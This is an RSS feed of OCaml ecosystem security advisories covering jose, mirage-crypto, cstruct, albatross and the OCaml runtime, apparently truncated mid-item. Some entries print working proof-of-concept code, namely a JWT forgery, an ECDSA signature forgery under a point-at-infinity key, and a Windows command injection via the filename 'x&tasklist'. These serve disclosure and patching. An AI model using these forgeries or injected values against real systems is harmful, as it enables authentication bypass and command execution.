<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from osv_ocaml</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 08:06:39 +0000</lastBuildDate>
    <item>
      <title>OSEC-2026-09 — Albatross-console memory exhaustion</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-09</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: albatross&lt;/p&gt;
&lt;p&gt;Albatross-console doesn&amp;#39;t properly terminate when looping over the ringbuffer. This leads to denial of service and memory exhaustion.&lt;/p&gt;
&lt;p&gt;## Scenario&lt;/p&gt;
&lt;p&gt;A user that has access to albatross-console either via the unix domain socket (requires root:albatross by default) or via albatross-tls-endpoint (requires a valid certificate and a running unikernel) can send a specially crafted query for console logs that will make albatross-console hang and eventually exhaust memory.&lt;/p&gt;
&lt;p&gt;## Detailed description&lt;/p&gt;
&lt;p&gt;Albatross-console receives console messages from running unikernels via named pipes. These console messages are stored in memory in a ring buffer with a non-configurable default size of 1024 lines. A client query the console output of a unikernel with either a count or a timestamp for limiting the output. A bug in the ring buffer logic exists so that when the ring buffer is full (has 1024 lines) the termination logic doesn&amp;#39;t work properly.&lt;/p&gt;
&lt;p&gt;When using a timestamp to limit then a timestamp earlier than all recorded console output in the ring buffer bypasses the termination logic, and albatross-console will repeatedly loop over the ring buffer accumulating the entries in a list indefinitely eventually exhausting memory.&lt;/p&gt;
&lt;p&gt;If using a count the termination logic doesn&amp;#39;t take into consideration how many entries there actually are if the ring buffer is full. Using a very large or negative count will make albatross-console loop over the ring buffer accumulating entries in a list until the length o…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: albatross&lt;/p&gt;
&lt;p&gt;Albatross-console doesn&amp;#39;t properly terminate when looping over the ringbuffer. This leads to denial of service and memory exhaustion.&lt;/p&gt;
&lt;p&gt;## Scenario&lt;/p&gt;
&lt;p&gt;A user that has access to albatross-console either via the unix domain socket (requires root:albatross by default) or via albatross-tls-endpoint (requires a valid certificate and a running unikernel) can send a specially crafted query for console logs that will make albatross-console hang and eventually exhaust memory.&lt;/p&gt;
&lt;p&gt;## Detailed description&lt;/p&gt;
&lt;p&gt;Albatross-console receives console messages from running unikernels via named pipes. These console messages are stored in memory in a ring buffer with a non-configurable default size of 1024 lines. A client query the console output of a unikernel with either a count or a timestamp for limiting the output. A bug in the ring buffer logic exists so that when the ring buffer is full (has 1024 lines) the termination logic doesn&amp;#39;t work properly.&lt;/p&gt;
&lt;p&gt;When using a timestamp to limit then a timestamp earlier than all recorded console output in the ring buffer bypasses the termination logic, and albatross-console will repeatedly loop over the ring buffer accumulating the entries in a list indefinitely eventually exhausting memory.&lt;/p&gt;
&lt;p&gt;If using a count the termination logic doesn&amp;#39;t take into consideration how many entries there actually are if the ring buffer is full. Using a very large or negative count will make albatross-console loop over the ring buffer accumulating entries in a list until the length o…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-09</guid>
      <pubDate>Thu, 28 May 2026 08:59:44 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-20 — Cstruct indexing bugs can corrupt filtered output and reverse parsing results</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-20</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: cstruct&lt;/p&gt;
&lt;p&gt;Several functions in cstruct may use wrong data, leading to unexpected exceptions and return corrupted data.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;- `Cstruct.filter_map` writes retained bytes at their original input positions, producing corrupted output when earlier bytes are dropped.
- `Cstruct.tail ~rev:true` removes two bytes instead of one and raises an exception for single-byte views.
- `Cstruct.cuts ~rev:true` may compare input against the wrong data, split at incorrect positions, and construct results using offsets outside the requested view.
- `Cstruct.find` and `Cstruct.find_sub ~rev:true` may return slices from the wrong location when operating on non-zero-offset views.&lt;/p&gt;
&lt;p&gt;These are a set of logical indexing and bounds-calculation errors (CWE-682), and not direct memory-safety vulnerabilities. However, affected operations may return corrupted data, raise an unexpected exception, split input incorrectly, or return bytes outside the requested Cstruct view but still within its backing buffer.&lt;/p&gt;
&lt;p&gt;In security-sensitive parsers, this could cause validation bypasses, denial of service, or unintended disclosure of adjacent buffer contents.&lt;/p&gt;
&lt;p&gt;## Workarounds&lt;/p&gt;
&lt;p&gt;Users unable to upgrade cstruct should backport the corresponding source changes. There is no configuration-based mitigation since these are buggy library calls.&lt;/p&gt;
&lt;p&gt;## References&lt;/p&gt;
&lt;p&gt;Discovered via [Scrutineer](https://github.com/alpha-omega-security/scrutineer) and Deepseek GLM-5.3 Flash running locally.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- 2026-09-04: reported via GitHub to…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: cstruct&lt;/p&gt;
&lt;p&gt;Several functions in cstruct may use wrong data, leading to unexpected exceptions and return corrupted data.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;- `Cstruct.filter_map` writes retained bytes at their original input positions, producing corrupted output when earlier bytes are dropped.
- `Cstruct.tail ~rev:true` removes two bytes instead of one and raises an exception for single-byte views.
- `Cstruct.cuts ~rev:true` may compare input against the wrong data, split at incorrect positions, and construct results using offsets outside the requested view.
- `Cstruct.find` and `Cstruct.find_sub ~rev:true` may return slices from the wrong location when operating on non-zero-offset views.&lt;/p&gt;
&lt;p&gt;These are a set of logical indexing and bounds-calculation errors (CWE-682), and not direct memory-safety vulnerabilities. However, affected operations may return corrupted data, raise an unexpected exception, split input incorrectly, or return bytes outside the requested Cstruct view but still within its backing buffer.&lt;/p&gt;
&lt;p&gt;In security-sensitive parsers, this could cause validation bypasses, denial of service, or unintended disclosure of adjacent buffer contents.&lt;/p&gt;
&lt;p&gt;## Workarounds&lt;/p&gt;
&lt;p&gt;Users unable to upgrade cstruct should backport the corresponding source changes. There is no configuration-based mitigation since these are buggy library calls.&lt;/p&gt;
&lt;p&gt;## References&lt;/p&gt;
&lt;p&gt;Discovered via [Scrutineer](https://github.com/alpha-omega-security/scrutineer) and Deepseek GLM-5.3 Flash running locally.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- 2026-09-04: reported via GitHub to…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-20</guid>
      <pubDate>Thu, 10 Sep 2026 10:00:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-19 — JOSE: missing RSA signature verification</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-19</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: jose&lt;/p&gt;
&lt;p&gt;The opam package &amp;#34;jose&amp;#34; does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;With jose 0.10.0, the code below signs two tokens with the same key and glues one&amp;#39;s payload onto the other&amp;#39;s signature:&lt;/p&gt;
&lt;p&gt;```OCaml
let () = Mirage_crypto_rng_unix.use_default ()&lt;/p&gt;
&lt;p&gt;let key =
  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())&lt;/p&gt;
&lt;p&gt;let sign sub =
  Jose.Jwt.sign key ~payload:(`Assoc [ (&amp;#34;sub&amp;#34;, `String sub) ])
  |&amp;gt; Result.get_ok |&amp;gt; Jose.Jwt.to_string&lt;/p&gt;
&lt;p&gt;let seg n token = List.nth (String.split_on_char &amp;#39;.&amp;#39; token) n&lt;/p&gt;
&lt;p&gt;let alice = sign &amp;#34;alice&amp;#34; and admin = sign &amp;#34;admin&amp;#34;&lt;/p&gt;
&lt;p&gt;(* alice&amp;#39;s header and signature, admin&amp;#39;s payload *)
let forged = String.concat &amp;#34;.&amp;#34; [ seg 0 alice; seg 1 admin; seg 2 alice ]&lt;/p&gt;
&lt;p&gt;match
  Jose.Jwt.unsafe_of_string forged
  |&amp;gt; Result.get_ok
  |&amp;gt; Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
  | Ok t -&amp;gt;
    print_endline
      (&amp;#34;accepted, sub = &amp;#34; ^ Option.get (Jose.Jwt.get_string_claim t &amp;#34;sub&amp;#34;))
  | Error _ -&amp;gt; print_endline &amp;#34;rejected&amp;#34;
```&lt;/p&gt;
&lt;p&gt;The dune file:
```
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
```&lt;/p&gt;
&lt;p&gt;This prints &amp;#34;accepted, sub = admin&amp;#34;.&lt;/p&gt;
&lt;p&gt;## Workaround&lt;/p&gt;
&lt;p&gt;There is no workaround known.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: pub…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: jose&lt;/p&gt;
&lt;p&gt;The opam package &amp;#34;jose&amp;#34; does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;With jose 0.10.0, the code below signs two tokens with the same key and glues one&amp;#39;s payload onto the other&amp;#39;s signature:&lt;/p&gt;
&lt;p&gt;```OCaml
let () = Mirage_crypto_rng_unix.use_default ()&lt;/p&gt;
&lt;p&gt;let key =
  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())&lt;/p&gt;
&lt;p&gt;let sign sub =
  Jose.Jwt.sign key ~payload:(`Assoc [ (&amp;#34;sub&amp;#34;, `String sub) ])
  |&amp;gt; Result.get_ok |&amp;gt; Jose.Jwt.to_string&lt;/p&gt;
&lt;p&gt;let seg n token = List.nth (String.split_on_char &amp;#39;.&amp;#39; token) n&lt;/p&gt;
&lt;p&gt;let alice = sign &amp;#34;alice&amp;#34; and admin = sign &amp;#34;admin&amp;#34;&lt;/p&gt;
&lt;p&gt;(* alice&amp;#39;s header and signature, admin&amp;#39;s payload *)
let forged = String.concat &amp;#34;.&amp;#34; [ seg 0 alice; seg 1 admin; seg 2 alice ]&lt;/p&gt;
&lt;p&gt;match
  Jose.Jwt.unsafe_of_string forged
  |&amp;gt; Result.get_ok
  |&amp;gt; Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
  | Ok t -&amp;gt;
    print_endline
      (&amp;#34;accepted, sub = &amp;#34; ^ Option.get (Jose.Jwt.get_string_claim t &amp;#34;sub&amp;#34;))
  | Error _ -&amp;gt; print_endline &amp;#34;rejected&amp;#34;
```&lt;/p&gt;
&lt;p&gt;The dune file:
```
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
```&lt;/p&gt;
&lt;p&gt;This prints &amp;#34;accepted, sub = admin&amp;#34;.&lt;/p&gt;
&lt;p&gt;## Workaround&lt;/p&gt;
&lt;p&gt;There is no workaround known.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: pub…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-19</guid>
      <pubDate>Thu, 10 Sep 2026 10:00:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-05 — Windows command execution via filename quotes.</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-05</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: ocaml&lt;/p&gt;
&lt;p&gt;The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `&amp;amp;` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.&lt;/p&gt;
&lt;p&gt;## Exploit&lt;/p&gt;
&lt;p&gt;```bash
$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.&lt;/p&gt;
&lt;p&gt;# let outfile = &amp;#34;x&amp;amp;tasklist&amp;#34; in
  let cmd = Filename.quote_command &amp;#34;netsh.exe&amp;#34; ~stdout:outfile [&amp;#34;help&amp;#34;] in
  ignore (Sys.command cmd)
  ;;&lt;/p&gt;
&lt;p&gt;Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K
```&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- 2026-06-18 release of this security advisory
- 2026-06-15 release of OCaml 4.14.4
- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: ocaml&lt;/p&gt;
&lt;p&gt;The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `&amp;amp;` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.&lt;/p&gt;
&lt;p&gt;## Exploit&lt;/p&gt;
&lt;p&gt;```bash
$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.&lt;/p&gt;
&lt;p&gt;# let outfile = &amp;#34;x&amp;amp;tasklist&amp;#34; in
  let cmd = Filename.quote_command &amp;#34;netsh.exe&amp;#34; ~stdout:outfile [&amp;#34;help&amp;#34;] in
  ignore (Sys.command cmd)
  ;;&lt;/p&gt;
&lt;p&gt;Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K
```&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- 2026-06-18 release of this security advisory
- 2026-06-15 release of OCaml 4.14.4
- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-05</guid>
      <pubDate>Thu, 18 Jun 2026 13:45:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-18 — Marshal integer overflow leads to out-of-heap read</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-18</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: ocaml&lt;/p&gt;
&lt;p&gt;An integer overflow in the length-validation logic of OCaml&amp;#39;s Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`).&lt;/p&gt;
&lt;p&gt;## Root cause&lt;/p&gt;
&lt;p&gt;`runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:&lt;/p&gt;
&lt;p&gt;```c
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len &amp;gt; caml_string_length(str))
  caml_failwith(&amp;#34;input_val_from_string: bad length&amp;#34;);
```&lt;/p&gt;
&lt;p&gt;`h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len &amp;gt;= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes.&lt;/p&gt;
&lt;p&gt;The CVE-2026-28364 fix introduced:&lt;/p&gt;
&lt;p&gt;```c
/* intern.c:1043 (added by the fix) */
s-&amp;gt;intern_src_end = s-&amp;gt;intern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */
```&lt;/p&gt;
&lt;p&gt;`intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len &amp;gt; end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer.&lt;/p&gt;
&lt;p&gt;The OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: ocaml&lt;/p&gt;
&lt;p&gt;An integer overflow in the length-validation logic of OCaml&amp;#39;s Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`).&lt;/p&gt;
&lt;p&gt;## Root cause&lt;/p&gt;
&lt;p&gt;`runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:&lt;/p&gt;
&lt;p&gt;```c
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len &amp;gt; caml_string_length(str))
  caml_failwith(&amp;#34;input_val_from_string: bad length&amp;#34;);
```&lt;/p&gt;
&lt;p&gt;`h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len &amp;gt;= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes.&lt;/p&gt;
&lt;p&gt;The CVE-2026-28364 fix introduced:&lt;/p&gt;
&lt;p&gt;```c
/* intern.c:1043 (added by the fix) */
s-&amp;gt;intern_src_end = s-&amp;gt;intern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */
```&lt;/p&gt;
&lt;p&gt;`intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len &amp;gt; end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer.&lt;/p&gt;
&lt;p&gt;The OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-18</guid>
      <pubDate>Thu, 10 Sep 2026 10:00:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-17 — Timing leak in NIST elliptic curves scalar multiplication</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-17</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;The scalar multiplication includes pre-computed tables for speedup (introduced in mirage-crypto-ec 0.11.3). The lookup algorithm for these tables performs secret-dependent reads instead of scanning the entire table.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;Instead of using the index `n - 1`, where `n` is secret-dependent, use `i - 1`, as done in the Go reference implementation. If `n` is 0, there is a out-of-bounds read before the patch.&lt;/p&gt;
&lt;p&gt;## Timeline
- 2026-08-12: report by Eric Ebinger to security@ocaml.org
- 2026-08-17: release of mirage-crypto-ec 2.4.0 and this advisory&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;The scalar multiplication includes pre-computed tables for speedup (introduced in mirage-crypto-ec 0.11.3). The lookup algorithm for these tables performs secret-dependent reads instead of scanning the entire table.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;Instead of using the index `n - 1`, where `n` is secret-dependent, use `i - 1`, as done in the Go reference implementation. If `n` is 0, there is a out-of-bounds read before the patch.&lt;/p&gt;
&lt;p&gt;## Timeline
- 2026-08-12: report by Eric Ebinger to security@ocaml.org
- 2026-08-17: release of mirage-crypto-ec 2.4.0 and this advisory&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-17</guid>
      <pubDate>Mon, 17 Aug 2026 09:45:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-15 — EC public key out of bounds read</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-15</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;The internal Point.of_octets function is missing a length check for compressed
points, and thus is raising an exception when a short buffer is provided. This
affects all NIST curves (P-256, P-384, P-521) and both `Dsa.pub_of_octets` and
`Dh.key_exchange` functions.&lt;/p&gt;
&lt;p&gt;## Fix&lt;/p&gt;
&lt;p&gt;The fix is to check the length of the provided buffer.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- July 28th 2026: report to security@ocaml.org
- August 7th: release of mirage-crypto-pk 2.3.0 and security advisory&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;The internal Point.of_octets function is missing a length check for compressed
points, and thus is raising an exception when a short buffer is provided. This
affects all NIST curves (P-256, P-384, P-521) and both `Dsa.pub_of_octets` and
`Dh.key_exchange` functions.&lt;/p&gt;
&lt;p&gt;## Fix&lt;/p&gt;
&lt;p&gt;The fix is to check the length of the provided buffer.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- July 28th 2026: report to security@ocaml.org
- August 7th: release of mirage-crypto-pk 2.3.0 and security advisory&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-15</guid>
      <pubDate>Fri, 07 Aug 2026 13:00:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-14 — RSA signature verification raises undocumented exception</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-14</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-pk&lt;/p&gt;
&lt;p&gt;The RSA decrypt and encrypt functions raise an Invalid_argument exception if the
message is smaller than 2. This leads to X509 certificates with a signature
value of 0 or 1 to throw this Invalid_argument exception instead of a proper
error.&lt;/p&gt;
&lt;p&gt;## Fix&lt;/p&gt;
&lt;p&gt;The fix is to reuse the Insufficient_key exception, which is documented and
caught further up in the stack.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- July 28th 2026: report to security@ocaml.org
- August 7th: release of mirage-crypto-pk 2.3.0 and security advisory&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-pk&lt;/p&gt;
&lt;p&gt;The RSA decrypt and encrypt functions raise an Invalid_argument exception if the
message is smaller than 2. This leads to X509 certificates with a signature
value of 0 or 1 to throw this Invalid_argument exception instead of a proper
error.&lt;/p&gt;
&lt;p&gt;## Fix&lt;/p&gt;
&lt;p&gt;The fix is to reuse the Insufficient_key exception, which is documented and
caught further up in the stack.&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- July 28th 2026: report to security@ocaml.org
- August 7th: release of mirage-crypto-pk 2.3.0 and security advisory&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-14</guid>
      <pubDate>Fri, 07 Aug 2026 13:00:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-13 — ECDSA accepts the point at infinity as a P256, P384, P521 public key</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-13</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.&lt;/p&gt;
&lt;p&gt;The same class is treated as high severity elsewhere. CVE-2022-21449 (&amp;#34;Psychic Signatures&amp;#34;, OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (&amp;#34;CurveBall&amp;#34;, Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;Check for point at infinity in `pub_of_octets`.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```OCaml
module Dsa = Mirage_crypto_ec.P256.Dsa&lt;/p&gt;
&lt;p&gt;(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
   any message with no private key. *)
let () =
  Mirage_crypto_rng.(set_default_generator (create ~seed:&amp;#34;forge&amp;#34; (module Fortuna)));
  let o_key = Result.get_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;) in
  let z = Digestif.SHA256.(to_raw_string (digest_string &amp;#34;transfer 1000eur to mallory&amp;#34;)) in
  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
  let s = String.make 31 &amp;#39;\000&amp;#39; ^ &amp;#34;\001&amp;#34; in
  Printf.printf &amp;#34;0x00 accepted as a public key:    %b\n&amp;#34; (Result.is_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;));
  Printf.printf &amp;#34;forged (r, s=1) verifies under O:  %b\n&amp;#34; (Dsa.verify ~key:o_key (r, s) z)
```&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- June 25th 2026: report to ocaml/security-advisories
- June…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.&lt;/p&gt;
&lt;p&gt;The same class is treated as high severity elsewhere. CVE-2022-21449 (&amp;#34;Psychic Signatures&amp;#34;, OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (&amp;#34;CurveBall&amp;#34;, Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;Check for point at infinity in `pub_of_octets`.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```OCaml
module Dsa = Mirage_crypto_ec.P256.Dsa&lt;/p&gt;
&lt;p&gt;(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
   any message with no private key. *)
let () =
  Mirage_crypto_rng.(set_default_generator (create ~seed:&amp;#34;forge&amp;#34; (module Fortuna)));
  let o_key = Result.get_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;) in
  let z = Digestif.SHA256.(to_raw_string (digest_string &amp;#34;transfer 1000eur to mallory&amp;#34;)) in
  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
  let s = String.make 31 &amp;#39;\000&amp;#39; ^ &amp;#34;\001&amp;#34; in
  Printf.printf &amp;#34;0x00 accepted as a public key:    %b\n&amp;#34; (Result.is_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;));
  Printf.printf &amp;#34;forged (r, s=1) verifies under O:  %b\n&amp;#34; (Dsa.verify ~key:o_key (r, s) z)
```&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- June 25th 2026: report to ocaml/security-advisories
- June…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-13</guid>
      <pubDate>Mon, 27 Jul 2026 19:00:00 +0000</pubDate>
    </item>
    <item>
      <title>OSEC-2026-12 — AEAD `decrypt_into` functions writes plaintext before checking the tag</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-12</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto&lt;/p&gt;
